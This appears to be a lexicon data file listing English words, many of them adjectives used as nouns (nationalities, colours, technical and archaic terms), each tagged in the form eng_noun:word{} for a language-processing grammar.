eng_noun:superintendent{}, eng_noun:surd{}, eng_noun:squab{}, eng_noun:swash{}, eng_noun:statuary{}, eng_noun:tylopod{}, eng_noun:unison{}, eng_noun:ultramarine{}, eng_noun:tunicate{}, eng_noun:transmigrant{}, eng_noun:albanian{}, eng_noun:blu - ray{}, eng_noun:gullah{}, eng_noun:samogitian{}, eng_noun:hedge{}, eng_noun:savory{}, eng_noun:indie{}, eng_noun:ortho{}, eng_noun:affine{}, eng_noun:probit{}, eng_noun:minute{}, eng_noun:presto{}, eng_noun:rawhide{}, eng_noun:retinal{}, eng_noun:earnest{}, eng_noun:maltose{}, eng_noun:kibbutz{}, eng_noun:emeritus{}, eng_noun:hatchback{}, eng_noun:preseason{}, eng_noun:greenfield{}, eng_noun:multiethnic{}, eng_noun:suppressant{}, eng_noun:quadriplegic{}, eng_noun:hypertensive{}, eng_noun:ornithischian{}, eng_noun:regal{}, eng_noun:missionary{}, eng_noun:endomorph{}, eng_noun:pendentive{}, eng_noun:comforter{}, eng_noun:fulness{}, eng_noun:legato{}, eng_noun:existent{}, eng_noun:longing{}, eng_noun:inebriate{}, eng_noun:yugoslavian{}, eng_noun:mean{}, eng_noun:highbrow{}, eng_noun:tarnation{}, eng_noun:beautification{}, eng_noun:sooth{}, eng_noun:Broadway{}, eng_noun:Aspergerian{}, eng_noun:recce{}, eng_noun:doppio{}, eng_noun:Chicano{}, eng_noun:Teflon{}, eng_noun:unreachable{}, eng_noun:quant{}, eng_noun:Avar{}, eng_noun:inspissant{}, eng_noun:Hurrian{}, eng_noun:Mestee{}, eng_noun:incombustible{}, eng_noun:stainless{}, eng_noun:secessionist{}, eng_noun:jacquard{}, eng_noun:reformatory{}, eng_noun:unaffected{}, eng_noun:Socratic{}, eng_noun:completist{}, eng_noun:antifeminist{}, eng_noun:complimentary{}, eng_noun:subtropical{}, eng_noun:Michigander{}, eng_noun:non - profit{}, eng_noun:whistle - stop{}, eng_noun:fairyland{}, eng_noun:uncommunicative{}, eng_noun:newlywed{}, eng_noun:jerkwater{}, eng_noun:phytochemical{}, eng_noun:teratoid{}, eng_noun:hysteric{}, eng_noun:flagellate{}, eng_noun:futanari{}, eng_noun:sympathizer{}, eng_noun:one - shot{}, eng_noun:polypod{}, eng_noun:Westphalian{}, eng_noun:bimetallist{}, eng_noun:deterrent{}, eng_noun:hair - trigger{}, eng_noun:uninjured{}, eng_noun:expressionist{}, eng_noun:neuroleptic{}, eng_noun:sandgrounder{}, eng_noun:dropdown{}, eng_noun:commemorative{}, eng_noun:comestible{}, eng_noun:delphine{}, eng_noun:somatroph{}, eng_noun:agentive{}, eng_noun:usufructuary{}, eng_noun:briny{}, eng_noun:opaline{}, eng_noun:recreant{}, eng_noun:cartooney{}, eng_noun:protectionist{}, eng_noun:objectivist{}, eng_noun:Circassian{}, eng_noun:unresponsive{}, eng_noun:nutzoid{}, eng_noun:invitational{}, eng_noun:tetradecimal{}, eng_noun:cosignatory{}, eng_noun:hexapod{}, eng_noun:instakill{}, eng_noun:streetcorner{}, eng_noun:polyfluoro{}, eng_noun:unprintable{}, eng_noun:classist{}, eng_noun:Rexist{}, eng_noun:tricorn{}, eng_noun:Laestrygonian{}, eng_noun:federalist{}, eng_noun:singalong{}, eng_noun:pachycaul{}, eng_noun:foldout{}, eng_noun:polyplacophore{}, eng_noun:Genevan{}, eng_noun:nonsectarian{}, eng_noun:hegemonist{}, eng_noun:declaratory{}, eng_noun:prelim{}, eng_noun:nutbar{}, eng_noun:drip - dry{}, eng_noun:Rhodian{}, eng_noun:Czechoslovakian{}, eng_noun:maxillary{}, eng_noun:Lapp{}, eng_noun:Anglo - american{}, eng_noun:roan{}, eng_noun:immunosuppressant{}, eng_noun:hermeneutic{}, eng_noun:quadral{}, eng_noun:metapodial{}, eng_noun:protoctistan{}, eng_noun:penitant{}, eng_noun:bandpass{}, eng_noun:Kantean{}, eng_noun:dirigist{}, eng_noun:incuse{}, eng_noun:liberticide{}, eng_noun:Zapotec{}, eng_noun:Kievan{}, eng_noun:Missourian{}, eng_noun:intercity{}, eng_noun:underfloor{}, eng_noun:antient{}, eng_noun:trimotor{}, eng_noun:intervenient{}, eng_noun:Anatolian{}, eng_noun:cestode{}, eng_noun:antitranspirant{}, eng_noun:alleviative{}, eng_noun:fav{}, eng_noun:pooer{}, eng_noun:aminomethyl{}, eng_noun:Jacobean{}, eng_noun:extinguishant{}, eng_noun:Mesopotamian{}, eng_noun:Lancastrian{}, eng_noun:nonchemical{}, eng_noun:antimuscarinic{}, eng_noun:biquadratic{}, eng_noun:sudorific{}, eng_noun:Euro - skeptic{}, eng_noun:prog{}, eng_noun:bowery{}, eng_noun:topgallant{}, eng_noun:coralline{}, eng_noun:bivariate{}, eng_noun:camelback{}, eng_noun:decrescent{}, eng_noun:excitant{}, eng_noun:Brayon{}, eng_noun:white - shoe{}, eng_noun:Ephesian{}, eng_noun:sheepy{}, eng_noun:Swati{}, eng_noun:oppugnant{}, eng_noun:Louisianian{}, eng_noun:nonterminal{}, eng_noun:Sacramentarian{}, eng_noun:glomalean{}, eng_noun:plathelminth{}, eng_noun:siboglinid{}, eng_noun:lissamphibian{}, eng_noun:sulphoaluminate{}, eng_noun:fastigiate{}, eng_noun:determinist{}, eng_noun:quincentenary{}, eng_noun:quadratojugal{}, eng_noun:Pitcairner{}, eng_noun:wah - wah{}, eng_noun:permeant{}, eng_noun:Istrian{}, eng_noun:prediagnosis{}, eng_noun:ingressive{}, eng_noun:patientive{}, eng_noun:anarcho - syndicalist{}, eng_noun:bayfront{}, eng_noun:wackadoo{}, eng_noun:superspecial{}, eng_noun:midrise{}, eng_noun:nonsecret{}, eng_noun:spectralist{}, eng_noun:nonsenior{}, eng_noun:communitarian{}, eng_noun:nonlocal{}, eng_noun:Maduran{}, eng_noun:ultraliberal{}, eng_noun:multidisciplinarian{}, eng_noun:nonstudent{}, eng_noun:parachordal{}, eng_noun:Sartrean{}, eng_noun:mainstage{}, eng_noun:eliminativist{}, eng_noun:bicoastal{}, eng_noun:nongame{}, eng_noun:biconditional{}, eng_noun:nonhistone{}, eng_noun:multistorey{}, eng_noun:sandbelt{}, eng_noun:interdune{}, eng_noun:antiracism{}, eng_noun:expressivist{}, eng_noun:immunoabsorbent{}, eng_noun:anticipant{}, eng_noun:postintegration{}, eng_noun:reductivist{}, eng_noun:midcalf{}, eng_noun:subadult{}, eng_noun:bolshy{}, eng_noun:antispasmatic{}, eng_noun:Manhattanite{}, eng_noun:lobstery{}, eng_noun:Springfieldian{}, eng_noun:betamimetic{}, eng_noun:Cincinnatian{}, eng_noun:Mascarene{}, eng_noun:assessorial{}, eng_noun:antigalactic{}, eng_noun:precapitalist{}, eng_noun:prestudy{}, eng_noun:nondepressive{}, eng_noun:antihelminthic{}, eng_noun:surform{}, eng_noun:Bratislavan{}, eng_noun:Delhian{}, eng_noun:nonmale{}, eng_noun:multitheist{}, eng_noun:Turkoman{}, eng_noun:Tajikistani{}, eng_noun:speciesist{}, eng_noun:Balaamite{}, eng_noun:nonanesthetic{}, eng_noun:anticestodal{}, eng_noun:hydrocholeretic{}, eng_noun:catastrophist{}, eng_noun:Antwerpian{}, eng_noun:post - apocalyptic{}, eng_noun:carryon{}, eng_noun:pracademic{}, eng_noun:jabberwocky{}, eng_noun:nonsedative{}, eng_noun:nonpollen{}, eng_noun:preinflation{}, eng_noun:anthro{}, eng_noun:selenomethionyl{}, eng_noun:nonceramic{}, eng_noun:ersatzist{}, eng_noun:nontangible{}, eng_noun:nonrevolutionary{}, eng_noun:nonvisionary{}, eng_noun:nonwestern{}, eng_noun:nonequalitarian{}, eng_noun:multigrade{}, eng_noun:nondrug{}, eng_noun:preprofessional{}, eng_noun:nonantique{}, eng_noun:nonedible{}, eng_noun:semiclassic{}, eng_noun:syrphian{}, eng_noun:palaeoconservative{}, eng_noun:macrorealist{}, eng_noun:rakehell{}, eng_noun:triggery{}, eng_noun:hepatotoxicant{}, eng_noun:Keresan{}, eng_noun:nontaxation{}, eng_noun:biflagellate{}, eng_noun:nonphobic{}, eng_noun:Hellenophile{}, eng_noun:Hibernophile{}, eng_noun:ghosty{}, eng_noun:viverrine{}, eng_noun:tipulid{}, eng_noun:Urartean{}, eng_noun:nonlabial{}, eng_noun:specieist{}, eng_noun:antimicrobic{}, eng_noun:multi - touch{}, eng_noun:megapolitan{}, eng_noun:Blackpudlian{}, eng_noun:Aostan{}, eng_noun:abortient{}, eng_noun:salmonoid{}, eng_noun:nongoal{}, eng_noun:winky{}, eng_noun:Nestorian{}, eng_noun:circumbendibus{}, eng_noun:nonrevisionist{}, eng_noun:mornay{}, eng_noun:serotine{}, eng_noun:interester{}, eng_noun:disestablishmentarian{}, eng_noun:exessive{}, eng_noun:antirevolutionary{}, eng_noun:unshrinkable{}, eng_noun:bardie{}, eng_noun:pure - bred{}, eng_noun:strippy{}, eng_noun:Azorean{}, eng_noun:Erasmian{}, eng_noun:oorie{}, eng_noun:Cappadocian{}, eng_noun:Saragossan{}, eng_noun:Malagan{}, eng_noun:Volscian{}, eng_noun:Callistan{}, eng_noun:lunary{}, eng_noun:pedosexual{}, eng_noun:Montessorian{}, eng_noun:non - paper{}, eng_noun:Tatarian{}, eng_noun:deltoideus{}, eng_noun:anticollectivist{}, eng_noun:deconstructivist{}, eng_noun:creekside{}, eng_noun:nonevangelical{}, eng_noun:cestoid{}, eng_noun:Rothbardian{}, eng_noun:Monrovian{}, eng_noun:Danubian{}, eng_noun:naticoid{}, eng_noun:labrish{}, eng_noun:quintate{}, eng_noun:sextate{}, eng_noun:miscome{}, eng_noun:antiallergenic{}, eng_noun:schizophreniac{}, eng_noun:productivist{}, eng_noun:academick{}, eng_noun:multicycle{}, eng_noun:specifick{}, eng_noun:prognostick{}, eng_noun:cynick{}, eng_noun:hypochondriack{}, eng_noun:macaronick{}, eng_noun:narcotick{}, eng_noun:nephritick{}, eng_noun:optick{}, eng_noun:patronymick{}, eng_noun:schismatick{}, eng_noun:Armorican{}, eng_noun:telepsychic{}, eng_noun:antizymotic{}, eng_noun:gremial{}, eng_noun:tingid{}, eng_noun:appurtenaunt{}, eng_noun:attendaunt{}, eng_noun:Ceylonese{}, eng_noun:mightand{}, eng_noun:Limenean{}, eng_noun:haustellate{}, eng_noun:deodourant{}, eng_noun:armourial{}, eng_noun:subterrany{}, eng_noun:interopercular{}, eng_noun:craftable{}, eng_noun:non - op{}, eng_noun:ctenoidean{}, eng_noun:evenold{}, eng_noun:left{}, eng_noun:stern{}, eng_noun:bicentenary{}, eng_noun:catoptric{}, eng_noun:caucasian{}, eng_noun:discontent{}, eng_noun:downhill{}, eng_noun:desert{}, eng_noun:decongestant{}, eng_noun:devonian{}, eng_noun:dialectic{}, eng_noun:ferroconcrete{}, eng_noun:fibroid{}, eng_noun:hardback{}, eng_noun:hotshot{}, eng_noun:jain{}, eng_noun:litigant{}, eng_noun:mod{}, eng_noun:patent{}, eng_noun:pet{}, eng_noun:paramilitary{}, eng_noun:pongid{}, eng_noun:pyknic{}, eng_noun:pyroelectric{}, eng_noun:ratite{}, eng_noun:recessional{}, eng_noun:roughcast{}, eng_noun:savoyard{}, eng_noun:sceptic{}, eng_noun:still{}, eng_noun:tantivy{}, eng_noun:terry{}, eng_noun:tetrastyle{}, eng_noun:thermophile{}, eng_noun:transgenic{}, eng_noun:auvergnese{}, eng_noun:koepanger{}, eng_noun:xian{}, eng_noun:nappy{}, eng_noun:armorial{}, eng_noun:excrescent{}, eng_noun:ware{}, eng_noun:sitfast{}, eng_noun:seater{}, eng_noun:uphill{}, eng_noun:upward{}, eng_noun:lookup{}, eng_noun:alumina{}, eng_noun:poverty{}, eng_noun:homebrew{}, eng_noun:disjunct{}, eng_noun:tailwheel{}, eng_noun:centennial{}, eng_noun:subordinate{}, eng_noun:buttery{}, eng_noun:afghani{}, eng_noun:round{}, eng_noun:cursive{}, eng_noun:pro{}, eng_noun:tender{}, eng_noun:rundown{}, eng_noun:ringworm{}, eng_noun:chiffon{}, eng_noun:malapert{}, eng_noun:brow{}, eng_noun:ruby{}, eng_noun:pizzicato{}, eng_noun:blanc{}, eng_noun:low{}, eng_noun:wikipedian{}, eng_noun:usonian{}, eng_noun:midterm{}, eng_noun:interlock{}, eng_noun:arachnid{}, eng_noun:auditory{}, eng_noun:gilt{}, eng_noun:closing{}, eng_noun:binding{}, eng_noun:cutting{}, eng_noun:filling{}, eng_noun:flowering{}, eng_noun:wandering{}, eng_noun:backing{}, eng_noun:walking{}, eng_noun:sightseeing{}, eng_noun:exhilarating{}, eng_noun:watering{}, eng_noun:raving{}, eng_noun:conjugate{}, eng_noun:content{}, eng_noun:overcast{}, eng_noun:standardbred{}, eng_noun:substantive{}, eng_noun:abirritant{}, eng_noun:abrasive{}, eng_noun:abrogate{}, eng_noun:birth{}, eng_noun:secret{}, eng_noun:standard{}, eng_noun:Catalan{}, eng_noun:banana{}, eng_noun:beige{}, eng_noun:violet{}, eng_noun:young{}, eng_noun:dative{}, eng_noun:superlative{}, eng_noun:southwest{}, eng_noun:quaint{}, eng_noun:female{}, eng_noun:tin{}, eng_noun:slate{}, eng_noun:vermilion{}, eng_noun:strawberry{}, eng_noun:lemon{}, eng_noun:safe{}, eng_noun:vernacular{}, eng_noun:gibberish{}, eng_noun:Canadian{}, eng_noun:Bulgarian{}, eng_noun:ilk{}, eng_noun:funeral{}, eng_noun:interior{}, eng_noun:bourgeois{}, eng_noun:vertebrate{}, eng_noun:sovereign{}, eng_noun:solid{}, eng_noun:smooth{}, eng_noun:celestial{}, eng_noun:ebb{}, eng_noun:Anguillan{}, eng_noun:Corsican{}, eng_noun:queer{}, eng_noun:nazi{}, eng_noun:void{}, eng_noun:Ashkenazi{}, eng_noun:arsenic{}, eng_noun:terminal{}, eng_noun:Persian{}, eng_noun:Philistine{}, eng_noun:laureate{}, eng_noun:laudative{}, eng_noun:acescent{}, eng_noun:wholesale{}, eng_noun:nice{}, eng_noun:primary{}, eng_noun:Aragonese{}, eng_noun:Belarusian{}, eng_noun:Sudanese{}, eng_noun:Palestinian{}, eng_noun:Kazakh{}, eng_noun:Burundian{}, eng_noun:Uruguayan{}, eng_noun:Vanuatuan{}, eng_noun:Malian{}, eng_noun:Turkmen{}, eng_noun:Namibian{}, eng_noun:Comorian{}, eng_noun:Viennese{}, eng_noun:Ghanaian{}, eng_noun:Laotian{}, eng_noun:Omani{}, eng_noun:Constantinopolitan{}, eng_noun:signal{}, eng_noun:ambisexual{}, eng_noun:Friulian{}, eng_noun:front{}, eng_noun:pirate{}, eng_noun:tricentennial{}, eng_noun:Bengali{}, eng_noun:Marathi{}, eng_noun:Sinhalese{}, eng_noun:trunk{}, eng_noun:series{}, eng_noun:anal{}, eng_noun:vain{}, eng_noun:marine{}, eng_noun:socialist{}, eng_noun:biannual{}, eng_noun:glottal{}, eng_noun:visionary{}, eng_noun:Polynesian{}, eng_noun:eutectic{}, eng_noun:alpine{}, eng_noun:amateur{}, eng_noun:private{}, eng_noun:Malay{}, eng_noun:heretic{}, eng_noun:choice{}, eng_noun:flatbed{}, eng_noun:Arminian{}, eng_noun:elastic{}, eng_noun:lieutenant{}, eng_noun:bottom{}, eng_noun:feral{}, eng_noun:shotgun{}, eng_noun:moderato{}, eng_noun:diminuendo{}, eng_noun:quicksilver{}, eng_noun:tenor{}, eng_noun:chivalrous{}, eng_noun:albino{}, eng_noun:boilerplate{}, eng_noun:Bosnian{}, eng_noun:elect{}, eng_noun:exclusive{}, eng_noun:gentile{}, eng_noun:octic{}, eng_noun:picayune{}, eng_noun:aculeate{}, eng_noun:agglutinant{}, eng_noun:Aventine{}, eng_noun:Paki{}, eng_noun:jammy{}, eng_noun:necessary{}, eng_noun:proof{}, eng_noun:halcyon{}, eng_noun:integral{}, eng_noun:mundane{}, eng_noun:fuzzy{}, eng_noun:floppy{}, eng_noun:immutable{}, eng_noun:Aryan{}, eng_noun:terrorist{}, eng_noun:mordant{}, eng_noun:straw{}, eng_noun:stereo{}, eng_noun:tattletale{}, eng_noun:Aramaic{}, eng_noun:Nepali{}, eng_noun:export{}, eng_noun:sport{}, eng_noun:insurgent{}, eng_noun:coronary{}, eng_noun:inflatable{}, eng_noun:damask{}, eng_noun:prodigal{}, eng_noun:passionate{}, eng_noun:amino{}, eng_noun:bawdy{}, eng_noun:chic{}, eng_noun:chuff{}, eng_noun:nubile{}, eng_noun:berserk{}, eng_noun:blithe{}, eng_noun:brute{}, eng_noun:canny{}, eng_noun:compulsory{}, eng_noun:elite{}, eng_noun:official{}, eng_noun:punk{}, eng_noun:scrimp{}, eng_noun:sleek{}, eng_noun:sleigh{}, eng_noun:solitary{}, eng_noun:stuffy{}, eng_noun:tentative{}, eng_noun:ingrate{}, eng_noun:bacchanal{}, eng_noun:Mancunian{}, eng_noun:suede{}, eng_noun:mid - september{}, eng_noun:mid - january{}, eng_noun:terrestrial{}, eng_noun:negative{}, eng_noun:invariant{}, eng_noun:equivalent{}, eng_noun:antitussive{}, eng_noun:charter{}, eng_noun:rum{}, eng_noun:skim{}, eng_noun:ungulate{}, eng_noun:octogenarian{}, eng_noun:zigzag{}, eng_noun:filk{}, eng_noun:premium{}, eng_noun:miscreant{}, eng_noun:subarctic{}, eng_noun:pansy{}, eng_noun:tertiary{}, eng_noun:pissant{}, eng_noun:randy{}, eng_noun:twin{}, eng_noun:pre - adamite{}, eng_noun:unconventional{}, eng_noun:maverick{}, eng_noun:acrocephalic{}, eng_noun:voluntary{}, eng_noun:Zionist{}, eng_noun:junky{}, eng_noun:ecstatic{}, eng_noun:polyester{}, eng_noun:oneirocritic{}, eng_noun:anodyne{}, eng_noun:inorganic{}, eng_noun:merry{}, eng_noun:prat{}, eng_noun:oxyacetylene{}, eng_noun:Chuvash{}, eng_noun:cactus{}, eng_noun:ascetic{}, eng_noun:Whovian{}, eng_noun:decubitis{}, eng_noun:varietal{}, eng_noun:tawny{}, eng_noun:backup{}, eng_noun:laxative{}, eng_noun:consistent{}, eng_noun:stopgap{}, eng_noun:veggie{}, eng_noun:incoherent{}, eng_noun:dependant{}, eng_noun:nightly{}, eng_noun:polyzoic{}, eng_noun:transitionist{}, eng_noun:profane{}, eng_noun:primo{}, eng_noun:identikit{}, eng_noun:legislative{}, eng_noun:crummy{}, eng_noun:creo{}, eng_noun:columnar{}, eng_noun:straightedge{}, eng_noun:hallucinogenic{}, eng_noun:deponent{}, eng_noun:danophone{}, eng_noun:convertible{}, eng_noun:budget{}, eng_noun:Guadalupian{}, eng_noun:Furongian{}, eng_noun:durable{}, eng_noun:slick{}, eng_noun:burgundy{}, eng_noun:eggshell{}, eng_noun:Herzegovinian{}, eng_noun:sociolinguistic{}, eng_noun:attendant{}, eng_noun:cupreous{}, eng_noun:trim{}, eng_noun:antibacterial{}, eng_noun:idyllic{}, eng_noun:ginge{}, eng_noun:Croat{}, eng_noun:sorrel{}, eng_noun:nitro{}, eng_noun:Democrat{}, eng_noun:Latino{}, eng_noun:Tuscan{}, eng_noun:tarsal{}, eng_noun:didactyl{}, eng_noun:constituent{}, eng_noun:Mesolithic{}, eng_noun:duodecimal{}, eng_noun:abram{}, eng_noun:tercentenary{}, eng_noun:symbiotic{}, eng_noun:semidocumentary{}, eng_noun:scurvy{}, eng_noun:anticoagulant{}, eng_noun:bioterrorist{}, eng_noun:antarthritic{}, eng_noun:loony{}, eng_noun:Arabian{}, eng_noun:diploid{}, eng_noun:cardioid{}, eng_noun:tubby{}, eng_noun:Zoroastrian{}, eng_noun:interrogatory{}, eng_noun:annelid{}, eng_noun:parasitic{}, eng_noun:conglomerate{}, eng_noun:directive{}, eng_noun:antiperiodic{}, eng_noun:rapier{}, eng_noun:diazo{}, eng_noun:crisscross{}, eng_noun:all - american{}, eng_noun:bake - off{}, eng_noun:ungenerous{}, eng_noun:Extremaduran{}, eng_noun:empyrean{}, eng_noun:uncopyrightable{}, eng_noun:gorgon{}, eng_noun:purebred{}, eng_noun:preventive{}, eng_noun:polyploid{}, eng_noun:lippy{}, eng_noun:deltoid{}, eng_noun:saline{}, eng_noun:antasthmatic{}, eng_noun:prerogative{}, eng_noun:stormy{}, eng_noun:vulcanoid{}, eng_noun:inessive{}, eng_noun:bipartisan{}, eng_noun:spotty{}, eng_noun:three - quarter{}, eng_noun:fire - retardant{}, eng_noun:psychedelic{}, eng_noun:bellicist{}, eng_noun:Minorcan{}, eng_noun:trumpery{}, eng_noun:revanchist{}, eng_noun:triennial{}, eng_noun:manipulative{}, eng_noun:throw - away{}, eng_noun:Tchaikovskian{}, eng_noun:top - up{}, eng_noun:niggard{}, eng_noun:wind - up{}, eng_noun:chemic{}, eng_noun:radial{}, eng_noun:biologic{}, eng_noun:macaronic{}, eng_noun:voyeurist{}, eng_noun:Molossian{}, eng_noun:polemical{}, eng_noun:schizophrenic{}, eng_noun:preteen{}, eng_noun:upfront{}, eng_noun:putty{}, eng_noun:nosey{}, eng_noun:cretic{}, eng_noun:imperialist{}, eng_noun:Kampuchean{}, eng_noun:leftist{}, eng_noun:toxophilite{}, eng_noun:rollercoaster{}, eng_noun:teratogenic{}, eng_noun:prepositive{}, eng_noun:retromingent{}, eng_noun:longhair{}, eng_noun:roadside{}, eng_noun:duotrigintillionth{}, eng_noun:elegiack{}, eng_noun:phthisick{}, eng_noun:preconsent{}, eng_noun:Etrurian{}, eng_noun:loppard{}, eng_noun:Eusebian{}, eng_noun:falwe{}, eng_noun:Deweyan{}, eng_noun:methylic{}, eng_noun:multinumber{}, eng_noun:predelinquent{}, eng_noun:dentilabial{}, eng_noun:minour{}, eng_noun:supraoccipital{}, eng_noun:peripatetick{}, eng_noun:honourific{}, eng_noun:antidysenteric{}, eng_noun:scholastical{}, eng_noun:return{}, eng_noun:anuran{}, eng_noun:convulsant{}, eng_noun:detective{}, eng_noun:determinant{}, eng_noun:duff{}, eng_noun:fairy{}, eng_noun:farrago{}, eng_noun:fugitive{}, eng_noun:fun{}, eng_noun:forfeit{}, eng_noun:fustian{}, eng_noun:husky{}, eng_noun:inexperience{}, eng_noun:morisco{}, eng_noun:moline{}, eng_noun:monoacid{}, eng_noun:orthopteran{}, eng_noun:muzzy{}, eng_noun:nomad{}, eng_noun:nancy{}, eng_noun:olympian{}, eng_noun:pasty{}, eng_noun:proponent{}, eng_noun:rebel{}, eng_noun:rosy{}, eng_noun:rubato{}, eng_noun:schismatic{}, eng_noun:schizo{}, eng_noun:sound{}, eng_noun:siccative{}, eng_noun:substitute{}, eng_noun:unitary{}, eng_noun:typhoid{}, eng_noun:topical{}, eng_noun:windy{}, eng_noun:abstract{}, eng_noun:augustinian{}, eng_noun:calymmian{}, eng_noun:indo - aryan{}, eng_noun:patavine{}, eng_noun:hawk{}, eng_noun:mole{}, eng_noun:pixy{}, eng_noun:callow{}, eng_noun:scholar{}, eng_noun:counterfactual{}, eng_noun:gay{}, eng_noun:max{}, eng_noun:bound{}, eng_noun:frost{}, eng_noun:clitic{}, eng_noun:oolong{}, eng_noun:raster{}, eng_noun:colonic{}, eng_noun:coronal{}, eng_noun:proline{}, eng_noun:wearable{}, eng_noun:parkland{}, eng_noun:crosshead{}, eng_noun:screwball{}, eng_noun:sublimate{}, eng_noun:nearshore{}, eng_noun:hydrolase{}, eng_noun:portugese{}, eng_noun:harbourside{}, eng_noun:preproduction{}, eng_noun:wan{}, eng_noun:triceps{}, eng_noun:deface{}, eng_noun:ginger{}, eng_noun:august{}, eng_noun:hotfoot{}, eng_noun:notable{}, eng_noun:bass{}, eng_noun:kong{}, eng_noun:sonorant{}, eng_noun:candy{}, eng_noun:mute{}, eng_noun:base{}, eng_noun:fat{}, eng_noun:underwater{}, eng_noun:adjuvant{}, eng_noun:hyperbole{}, eng_noun:baritone{}, eng_noun:proclitic{}, eng_noun:airspace{}, eng_noun:chiropractic{}, eng_noun:crossing{}, eng_noun:something{}, eng_noun:heating{}, eng_noun:fledgling{}, eng_noun:understanding{}, eng_noun:serving{}, eng_noun:burning{}, eng_noun:vaulting{}, eng_noun:facing{}, eng_noun:sitting{}, eng_noun:unwitting{}, eng_noun:spanking{}, eng_noun:heaving{}, eng_noun:present{}, eng_noun:abdominal{}, eng_noun:aberrant{}, eng_noun:aboriginal{}, eng_noun:acanthopterygian{}, eng_noun:accidental{}, eng_noun:accordion{}, eng_noun:acid{}, eng_noun:quality{}, eng_noun:qualitative{}, eng_noun:woodwind{}, eng_noun:epizootic{}, eng_noun:now{}, eng_noun:Portuguese{}, eng_noun:accountant{}, eng_noun:grey{}, eng_noun:Saxon{}, eng_noun:Turkish{}, eng_noun:Slovak{}, eng_noun:Hungarian{}, eng_noun:Czech{}, eng_noun:Thai{}, eng_noun:Afrikaans{}, eng_noun:chartreuse{}, eng_noun:monthly{}, eng_noun:navy{}, eng_noun:bronze{}, eng_noun:tangerine{}, eng_noun:sapphire{}, eng_noun:chestnut{}, eng_noun:capital{}, eng_noun:Basque{}, eng_noun:comic{}, eng_noun:aesthetic{}, eng_noun:fluid{}, eng_noun:American{}, eng_noun:Andorran{}, eng_noun:adult{}, eng_noun:Hispanic{}, eng_noun:additive{}, eng_noun:classic{}, eng_noun:null{}, eng_noun:daily{}, eng_noun:cubic{}, eng_noun:argentine{}, eng_noun:manifest{}, eng_noun:android{}, eng_noun:almond{}, eng_noun:Latvian{}, eng_noun:Bhutanese{}, eng_noun:Paraguayan{}, eng_noun:Kenyan{}, eng_noun:Gambian{}, eng_noun:Zambian{}, eng_noun:Bruneian{}, eng_noun:Tongan{}, eng_noun:Euboean{}, eng_noun:Guadeloupean{}, eng_noun:Salvadorian{}, eng_noun:Martinican{}, eng_noun:Reunionese{}, eng_noun:Rwandese{}, eng_noun:Somali{}, eng_noun:Bermudian{}, eng_noun:sabbatical{}, eng_noun:knockout{}, eng_noun:shiny{}, eng_noun:ape{}, eng_noun:Achaian{}, eng_noun:Anglophone{}, eng_noun:trust{}, eng_noun:ghetto{}, eng_noun:millennial{}, eng_noun:Tamil{}, eng_noun:Panjabi{}, eng_noun:aerial{}, eng_noun:hippie{}, eng_noun:ethnic{}, eng_noun:Aberdonian{}, eng_noun:ultracrepidarian{}, eng_noun:advance{}, eng_noun:chattel{}, eng_noun:tangible{}, eng_noun:overall{}, eng_noun:alterative{}, eng_noun:ugly{}, eng_noun:antic{}, eng_noun:binary{}, eng_noun:quadriliteral{}, eng_noun:xenophobic{}, eng_noun:alcoholic{}, eng_noun:wanton{}, eng_noun:augmentative{}, eng_noun:flexitarian{}, eng_noun:cognate{}, eng_noun:spruce{}, eng_noun:duplex{}, eng_noun:transversal{}, eng_noun:fade{}, eng_noun:noir{}, eng_noun:hippy{}, eng_noun:discriminant{}, eng_noun:fancy{}, eng_noun:marsupial{}, eng_noun:Arab{}, eng_noun:intestate{}, eng_noun:intramural{}, eng_noun:underground{}, eng_noun:latest{}, eng_noun:collectible{}, eng_noun:statist{}, eng_noun:velopharyngeal{}, eng_noun:flexible{}, eng_noun:master{}, eng_noun:enzootic{}, eng_noun:nippy{}, eng_noun:TWOC{}, eng_noun:cutaway{}, eng_noun:Scouse{}, eng_noun:hebrephrenic{}, eng_noun:fanatic{}, eng_noun:gala{}, eng_noun:medial{}, eng_noun:tensor{}, eng_noun:unary{}, eng_noun:contingent{}, eng_noun:fundamental{}, eng_noun:intellectual{}, eng_noun:peripatetic{}, eng_noun:potential{}, eng_noun:primitive{}, eng_noun:starch{}, eng_noun:stout{}, eng_noun:caustic{}, eng_noun:udal{}, eng_noun:phony{}, eng_noun:concordant{}, eng_noun:mid - july{}, eng_noun:midsummer{}, eng_noun:negroid{}, eng_noun:Mohammedan{}, eng_noun:chameleon{}, eng_noun:transient{}, eng_noun:broody{}, eng_noun:rookie{}, eng_noun:consanguineous{}, eng_noun:daredevil{}, eng_noun:brunette{}, eng_noun:indigent{}, eng_noun:inert{}, eng_noun:posterior{}, eng_noun:culinary{}, eng_noun:clamshell{}, eng_noun:columbine{}, eng_noun:plush{}, eng_noun:petunia{}, eng_noun:silent{}, eng_noun:demographic{}, eng_noun:previous{}, eng_noun:collaborative{}, eng_noun:journal{}, eng_noun:gossamer{}, eng_noun:snub{}, eng_noun:armchair{}, eng_noun:upright{}, eng_noun:monotone{}, eng_noun:insectoid{}, eng_noun:nonagenarian{}, eng_noun:federal{}, eng_noun:chill{}, eng_noun:diabetic{}, eng_noun:projectile{}, eng_noun:synthetic{}, eng_noun:one - to - one{}, eng_noun:Glaswegian{}, eng_noun:heterodyne{}, eng_noun:visual{}, eng_noun:heteropod{}, eng_noun:Whitsun{}, eng_noun:Samian{}, eng_noun:apolitical{}, eng_noun:flannel{}, eng_noun:taboo{}, eng_noun:pally{}, eng_noun:multiplex{}, eng_noun:guilty{}, eng_noun:outpatient{}, eng_noun:ith{}, eng_noun:erratic{}, eng_noun:crystalline{}, eng_noun:impromptu{}, eng_noun:haywire{}, eng_noun:crusty{}, eng_noun:vintage{}, eng_noun:airborne{}, eng_noun:brahmin{}, eng_noun:contraceptive{}, eng_noun:backhand{}, eng_noun:whiff{}, eng_noun:mainstream{}, eng_noun:bravura{}, eng_noun:adipose{}, eng_noun:overnight{}, eng_noun:inanimate{}, eng_noun:ultra{}, eng_noun:parental{}, eng_noun:flush{}, eng_noun:coo{}, eng_noun:yogi{}, eng_noun:deliverable{}, eng_noun:ballpark{}, eng_noun:scenic{}, eng_noun:pavonine{}, eng_noun:Eocene{}, eng_noun:dainty{}, eng_noun:cellular{}, eng_noun:cuttie{}, eng_noun:libertine{}, eng_noun:residual{}, eng_noun:singulative{}, eng_noun:back - up{}, eng_noun:oxblood{}, eng_noun:Guinean{}, eng_noun:hamate{}, eng_noun:Himalayan{}, eng_noun:Proctor{}, eng_noun:Wiccan{}, eng_noun:collegiate{}, 